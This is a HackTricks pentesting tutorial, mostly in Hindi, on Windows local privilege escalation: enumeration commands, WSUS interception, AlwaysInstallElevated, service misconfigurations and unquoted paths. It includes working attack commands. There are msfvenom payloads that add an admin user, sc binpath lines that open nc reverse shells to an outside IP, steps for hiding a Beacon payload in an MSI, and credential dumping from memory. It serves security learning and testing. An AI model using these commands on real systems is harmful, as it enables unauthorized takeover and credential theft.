Windows Local Privilege Escalation

Reading time: 67 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल: WinPEAS

प्रारंभिक Windows सिद्धांत

Access Tokens

यदि आप नहीं जानते कि Windows Access Tokens क्या हैं, तो जारी रखने से पहले निम्नलिखित पृष्ठ पढ़ें:

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

यदि आप नहीं जानते कि Windows में integrity levels क्या हैं, तो जारी रखने से पहले निम्नलिखित पृष्ठ पढ़ें:

Integrity Levels

Windows सुरक्षा नियंत्रण

Windows में कई अलग-अलग चीजें हैं जो आपको सिस्टम को enumerate करने से रोक सकती हैं, executables चलाने से रोक सकती हैं या यहां तक कि आपकी गतिविधियों का detect भी कर सकती हैं। आपको privilege escalation enumeration शुरू करने से पहले निम्नलिखित पृष्ठ को पढ़ना चाहिए और इन सभी defenses mechanisms को enumerate करना चाहिए:

Windows Security Controls

System Info

Version info enumeration

जांचें कि Windows version में कोई ज्ञात vulnerability है या नहीं (लागू किए गए patches भी देखें).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

संस्करण Exploits

This site Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो Windows environment द्वारा प्रस्तुत massive attack surface को दर्शाती हैं।

सिस्टम पर

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

स्थानीय रूप से सिस्टम जानकारी के साथ

Github repos of exploits:

पर्यावरण

क्या कोई क्रेडेंशियल/Juicy info env variables में सेव है?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell इतिहास

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell ट्रांसक्रिप्ट फ़ाइलें

आप सीख सकते हैं कि इसे कैसे चालू किया जाए: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell pipeline के निष्पादन का विवरण रिकॉर्ड होता है — इसमें निष्पादित कमांड, कमांड इनवोकेशन और स्क्रिप्ट के कुछ हिस्से शामिल होते हैं। हालांकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम हमेशा कैप्चर नहीं हो सकते।

इसे सक्षम करने के लिए, दस्तावेज़ के "Transcript files" सेक्शन में दिए निर्देशों का पालन करें और "Module Logging" को "Powershell Transcription" के बजाय चुनें।

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell logs से अंतिम 15 events देखने के लिए आप यह चला सकते हैं:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

स्क्रिप्ट के निष्पादन की सम्पूर्ण गतिविधियों और सामग्री का पूरा रिकॉर्ड कैप्चर किया जाता है, जिससे यह सुनिश्चित होता है कि कोड का प्रत्येक ब्लॉक चलने के समय दस्तावेजीकृत होता है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल संरक्षित करती है, जो forensics और दुर्भावनापूर्ण व्यवहार के विश्लेषण के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके, प्रक्रिया के बारे में विस्तृत जानकारी प्रदान की जाती है।

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block के लॉगिंग इवेंट्स Windows Event Viewer में निम्न पथ पर पाए जा सकते हैं: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
पिछले 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

इंटरनेट सेटिंग्स

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ड्राइव्स

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

यदि अपडेट्स httpS के बजाय http के माध्यम से अनुरोध किए जा रहे हों तो आप सिस्टम को compromise कर सकते हैं।

आप यह जांचना शुरू करते हैं कि नेटवर्क non-SSL WSUS update का उपयोग कर रहा है या नहीं, cmd में निम्नलिखित चलाकर:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

या PowerShell में निम्नलिखित:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

यदि आपको इनमें से किसी एक जैसा उत्तर मिलता है:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

तो, it is exploitable. यदि आख़िरी रजिस्ट्री का मान 0 है, तो WSUS एंट्री को अनदेखा कर दिया जाएगा।

इन कमजोरियों का फायदा उठाने के लिए आप ऐसे टूल्स का उपयोग कर सकते हैं: Wsuxploit, pyWSUS - ये MiTM weaponized exploits scripts हैं जो non-SSL WSUS ट्रैफ़िक में 'fake' अपडेट्स इंजेक्ट करते हैं।

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
बुनियादी तौर पर, यह वह दोष है जिसका यह बग फायदा उठाता है:

यदि हमारे पास लोकल यूज़र प्रॉक्सी को संशोधित करने की क्षमता है, और Windows Updates Internet Explorer की सेटिंग्स में कॉन्फ़िगर किए गए प्रॉक्सी का उपयोग करता है, तो हम लोकली PyWSUS चला कर अपनी ही ट्रैफ़िक को इंटरसेप्ट कर सकते हैं और अपने एसेट पर elevated user के रूप में कोड चला सकते हैं।

इसके अलावा, चूँकि WSUS सेवा current user की सेटिंग्स का उपयोग करती है, यह उसके certificate store का भी उपयोग करेगी। यदि हम WSUS hostname के लिए एक self-signed certificate जनरेट करें और इसे current user के certificate store में जोड़ दें, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS किसी HSTS-like मैकेनिज़्म का उपयोग नहीं करता जो certificate पर trust-on-first-use प्रकार की वैलिडेशन लागू करे। यदि प्रस्तुत किया गया certificate user द्वारा trusted है और उसमें सही hostname है, तो सेवा द्वारा इसे स्वीकार कर लिया जाएगा।

You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

यदि आपके पास एक meterpreter सेशन है, तो आप इस तकनीक को मॉड्यूल exploit/windows/local/always_install_elevated का उपयोग करके ऑटोमेट कर सकते हैं

PowerUP

power-up के Write-UserAddMSI कमांड का उपयोग करें ताकि वर्तमान डायरेक्टरी के अंदर एक Windows MSI binary बनाया जा सके जो privileges escalate करे। यह स्क्रिप्ट एक precompiled MSI installer लिखकर रखती है जो user/group addition के लिए prompt करता है (इसलिए आपको GIU access की आवश्यकता होगी):

Write-UserAddMSI

सिर्फ बनाया गया binary चलाएँ ताकि privileges बढ़ सकें।

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a ".bat" file if you just want to execute command lines

MSI Wrapper

WIX के साथ MSI बनाना

Create MSI with WIX

Visual Studio के साथ MSI बनाना

  • Cobalt Strike या Metasploit के साथ C:\privesc\beacon.exe में एक नया Windows EXE TCP payload Generate करें
  • Visual Studio खोलें, Create a new project चुनें और खोज बॉक्स में "installer" टाइप करें। Setup Wizard प्रोजेक्ट चुनें और Next पर क्लिक करें।
  • प्रोजेक्ट को एक नाम दें, जैसे AlwaysPrivesc, स्थान के लिए C:\privesc का उपयोग करें, place solution and project in the same directory चुनें, और Create पर क्लिक करें।
  • तब तक Next पर क्लिक करते रहें जब तक आप step 3 of 4 (choose files to include) पर नहीं पहुँच जाते। Add पर क्लिक करें और अपने द्वारा अभी जिनरेट किया गया Beacon payload चुनें। फिर Finish पर क्लिक करें।
  • Solution Explorer में AlwaysPrivesc प्रोजेक्ट को हाइलाइट करें और Properties में TargetPlatform को x86 से x64 में बदलें।
  • अन्य properties भी बदल सकते हैं, जैसे Author और Manufacturer जो इंस्टॉल किए गए ऐप को अधिक वैध दिखा सकते हैं।
  • प्रोजेक्ट पर राइट-क्लिक करें और View > Custom Actions चुनें।
  • Install पर राइट-क्लिक करें और Add Custom Action चुनें।
  • Application Folder पर डबल-क्लिक करें, अपनी beacon.exe फाइल चुनें और OK पर क्लिक करें। इससे यह सुनिश्चित होगा कि installer चलते ही beacon payload execute हो जाएगा।
  • Custom Action Properties के तहत Run64Bit को True में बदलें।
  • अंत में, build it
  • अगर warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' दिखाई दे, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है।

MSI Installation

दुर्भावनापूर्ण .msi फ़ाइल की installation को बैकग्राउंड में चलाने के लिए:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

To exploit this vulnerability आप उपयोग कर सकते हैं: exploit/windows/local/always_install_elevated

एंटीवायरस और डिटेक्टर

ऑडिट सेटिंग्स

ये सेटिंग्स तय करती हैं कि क्या लॉग किया जा रहा है, इसलिए आपको ध्यान देना चाहिए

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, यह जानना उपयोगी है कि logs कहाँ भेजे जाते हैं

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS का उपयोग local Administrator passwords के प्रबंधन के लिए किया जाता है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड अद्वितीय, यादृच्छिक, और नियमित रूप से अपडेट किया जाता है उन कंप्यूटरों पर जो domain से जुड़े होते हैं। ये पासवर्ड Active Directory में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हों, जिससे वे अधिकृत होने पर local admin passwords देख सकें।

LAPS

WDigest

यदि सक्रिय हो, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1 से शुरू होकर, Microsoft ने Local Security Authority (LSA) के लिए उन्नत सुरक्षा पेश की ताकि अनविश्वसनीय प्रक्रियाओं द्वारा इसकी मेमोरी पढ़ने या कोड इंजेक्ट करने के प्रयासों को ब्लॉक किया जा सके, जिससे सिस्टम और सुरक्षित हो।
LSA Protection के बारे में अधिक जानकारी यहाँ.

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard को Windows 10 में पेश किया गया था। इसका उद्देश्य डिवाइस पर संग्रहीत credentials को pass-the-hash attacks जैसे खतरों से सुरक्षित रखना है.| More info about Credentials Guard here.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials को Local Security Authority (LSA) द्वारा प्रमाणित किया जाता है और operating system components द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का logon data किसी registered security package द्वारा प्रमाणित किया जाता है, तो आम तौर पर उस उपयोगकर्ता के लिए domain credentials स्थापित कर दिए जाते हैं।
More info about Cached Credentials here.

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

उपयोगकर्ता और समूह

उपयोगकर्ता और समूह सूचीबद्ध करें

आपको यह जांचना चाहिए कि जिन समूहों के आप सदस्य हैं उनमें से किसी के पास दिलचस्प permissions तो नहीं हैं।

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

विशेषाधिकार प्राप्त समूह

यदि आप किसी विशेषाधिकार प्राप्त समूह के सदस्य हैं तो आप विशेषाधिकार बढ़ा सकते हैं। विशेषाधिकार प्राप्त समूहों और उन्हें दुरुपयोग करके विशेषाधिकार बढ़ाने के बारे में यहाँ जानें:

Privileged Groups

Token हेरफेर

और अधिक जानें कि token क्या है इस पृष्ठ पर: Windows Tokens.
निम्नलिखित पृष्ठ देखें ताकि आप दिलचस्प tokens के बारे में जानें और उन्हें कैसे दुरुपयोग करें:

Abusing Tokens

लॉग्ड उपयोगकर्ता / सत्र

bash
qwinsta
klist sessions

होम फ़ोल्डर्स

bash
dir C:\Users
Get-ChildItem C:\Users

पासवर्ड नीति

bash
net accounts

क्लिपबोर्ड की सामग्री प्राप्त करें

bash
powershell -command "Get-Clipboard"

चल रहे Processes

फ़ाइल और फ़ोल्डर अनुमतियाँ

सबसे पहले, processes की सूची बनाते समय process की command line के अंदर passwords देखें.
जाँचें कि क्या आप किसी चल रहे binary को overwrite कर सकते हैं या अगर आपके पास binary फ़ोल्डर की write permissions हैं ताकि आप संभावित DLL Hijacking attacks का शोषण कर सकें:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

processes binaries के permissions की जांच

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

प्रोसेस बाइनरीज़ के फोल्डरों की permissions की जाँच (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

मेमोरी पासवर्ड माइनिंग

आप चल रहे प्रोसेस का मेमोरी डंप procdump from sysinternals का उपयोग करके बना सकते हैं। FTP जैसी सेवाओं में अक्सर credentials in clear text in memory होते हैं — मेमोरी डंप करके credentials पढ़ने की कोशिश करें।

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

असुरक्षित GUI ऐप्स

SYSTEM के रूप में चलने वाले Applications उपयोगकर्ता को CMD खोलने या डायरेक्टरीज़ ब्राउज़ करने की अनुमति दे सकते हैं।

उदाहरण: "Windows Help and Support" (Windows + F1), "command prompt" खोजें, "Click to open Command Prompt" पर क्लिक करें

सेवाएँ

सेवाओं की सूची प्राप्त करें:

bash
net start
wmic service list brief
sc query
Get-Service

अनुमतियाँ

आप किसी सेवा की जानकारी प्राप्त करने के लिए sc का उपयोग कर सकते हैं

bash
sc qc <service_name>

यह अनुशंसा की जाती है कि प्रत्येक service के लिए आवश्यक privilege level की जाँच करने हेतु Sysinternals का binary accesschk मौजूद हो।

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

यह सुझाव दिया जाता है कि जांचें कि "Authenticated Users" किसी भी सेवा में संशोधन कर सकते हैं या नहीं:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

सेवा सक्षम करें

यदि आपको यह त्रुटि आ रही है (उदाहरण के लिए SSDPSRV के साथ):

सिस्टम त्रुटि 1058 हुई है.
सेवा शुरू नहीं की जा सकती, या तो क्योंकि यह अक्षम है या क्योंकि इसके साथ कोई सक्षम डिवाइस संबद्ध नहीं है.

आप इसे निम्न का उपयोग करके सक्षम कर सकते हैं

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

ध्यान दें कि सेवा upnphost काम करने के लिए SSDPSRV पर निर्भर करती है (for XP SP1)

एक अन्य workaround इस समस्या का यह है कि निम्नलिखित चलाएँ:

sc.exe config usosvc start= auto

Modify service binary path

यदि किसी सेवा पर "Authenticated users" समूह के पास SERVICE_ALL_ACCESS है, तो सेवा के निष्पादन योग्य बाइनरी को संशोधित करना संभव है। संशोधित करने और निष्पादित करने के लिए sc:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

सेवा पुनरारंभ करें

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

अधिकार विभिन्न अनुमतियों के माध्यम से बढ़ाए जा सकते हैं:

  • SERVICE_CHANGE_CONFIG: सेवा बाइनरी का पुनः कॉन्फ़िगरेशन करने की अनुमति देता है।
  • WRITE_DAC: अनुमति पुनः कॉन्फ़िगरेशन सक्षम करता है, जिससे service कॉन्फ़िगरेशन बदलने की क्षमता मिलती है।
  • WRITE_OWNER: मालिकाना हासिल करने और अनुमति पुनः कॉन्फ़िगरेशन की अनुमति देता है।
  • GENERIC_WRITE: service कॉन्फ़िगरेशन बदलने की क्षमता प्रदान करता है।
  • GENERIC_ALL: यह भी service कॉन्फ़िगरेशन बदलने की क्षमता प्रदान करता है।

इस कमज़ोरी का पता लगाने और शोषण करने के लिए, exploit/windows/local/service_permissions का उपयोग किया जा सकता है।

Services बाइनरीज़ की कमजोर अनुमतियाँ

जाँचें कि क्या आप उस बाइनरी को बदल सकते हैं जिसे कोई सेवा निष्पादित करती है या क्या आपके पास उस फ़ोल्डर पर write permissions हैं जहाँ बाइनरी स्थित है (DLL Hijacking).
आप wmic का उपयोग करके उस सेवा द्वारा निष्पादित प्रत्येक बाइनरी प्राप्त कर सकते हैं (not in system32) और अपनी permissions की जाँच icacls से कर सकते हैं:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

आप sc और icacls का भी उपयोग कर सकते हैं:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

सर्विस रजिस्ट्री संशोधन अनुमतियाँ

आपको यह जांचना चाहिए कि क्या आप किसी भी सर्विस रजिस्ट्री को संशोधित कर सकते हैं।
आप किसी सर्विस रजिस्ट्री पर अपनी अनुमतियाँ जांच कर यह पता लगा सकते हैं:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

जांचना चाहिए कि क्या Authenticated Users या NT AUTHORITY\INTERACTIVE के पास FullControl permissions हैं। यदि हाँ, तो सेवा द्वारा निष्पादित बाइनरी को बदला जा सकता है।

निष्पादित बाइनरी के Path को बदलने के लिए:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

यदि आपके पास किसी registry पर यह permission है, तो इसका मतलब है कि आप इस रजिस्ट्री से सब-रजिस्ट्री बना सकते हैं। Windows services के मामले में यह मनमाना कोड चलाने के लिए पर्याप्त है:

AppendData/AddSubdirectory permission over service registry

बिना उद्धरण वाले Service Paths

यदि executable का path उद्धरण (quotes) के अंदर नहीं है, तो Windows स्पेस से पहले के हर हिस्से को execute करने की कोशिश करेगा।

उदाहरण के लिए, path C:\Program Files\Some Folder\Service.exe के लिए Windows निम्नलिखित execute करने की कोशिश करेगा:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

सभी unquoted service paths सूचीबद्ध करें, जो built-in Windows services से संबंधित न हों:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

आप इसका पता लगा सकते हैं और exploit कर सकते हैं metasploit के साथ: exploit/windows/local/trusted\_service\_path आप मैन्युअली metasploit के साथ एक service binary बना सकते हैं:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

रिकवरी क्रियाएँ

Windows उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देता है कि किसी service के fail होने पर कौन‑सी actions ली जाएँ। इस feature को किसी binary की ओर point करने के लिए configure किया जा सकता है। यदि यह binary replaceable है, तो privilege escalation संभव हो सकता है। अधिक विवरण के लिए देखें official documentation.

एप्लिकेशन

इंस्टॉल किए गए एप्लिकेशन

जाँचें permissions of the binaries (शायद आप किसी को overwrite करके privileges escalate कर सकें) और folders की permissions (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

लिखने की अनुमतियाँ

जाँचें कि क्या आप किसी config file को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ा जा सके, या क्या आप किसी binary को संशोधित कर सकते हैं जिसे Administrator account (schedtasks) द्वारा चलाया जाएगा।

सिस्टम में कमजोर folder/files permissions खोजने का एक तरीका है:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

स्टार्टअप पर चलाएँ

जाँच करें कि क्या आप किसी registry या binary को ओवरराइट कर सकते हैं जो किसी अलग उपयोगकर्ता द्वारा execute किया जाएगा।
Read उस निम्नलिखित पृष्ठ को पढ़ें ताकि आप रोचक autoruns locations to escalate privileges के बारे में और जान सकें:

Privilege Escalation with Autoruns

ड्राइवर्स

संभावित third party weird/vulnerable drivers की तलाश करें

bash
driverquery
driverquery.exe /fo table
driverquery /SI

यदि कोई ड्राइवर arbitrary kernel read/write primitive प्रदर्शित करता है (अक्सर poorly designed IOCTL handlers में), आप सीधे kernel memory से एक SYSTEM token चुरा कर privilege escalate कर सकते हैं। स्टेप‑बाय‑स्टेप तकनीक यहाँ देखें:

Arbitrary Kernel Rw Token Theft

device objects पर FILE_DEVICE_SECURE_OPEN की कमी का दुरुपयोग (LPE + EDR kill)

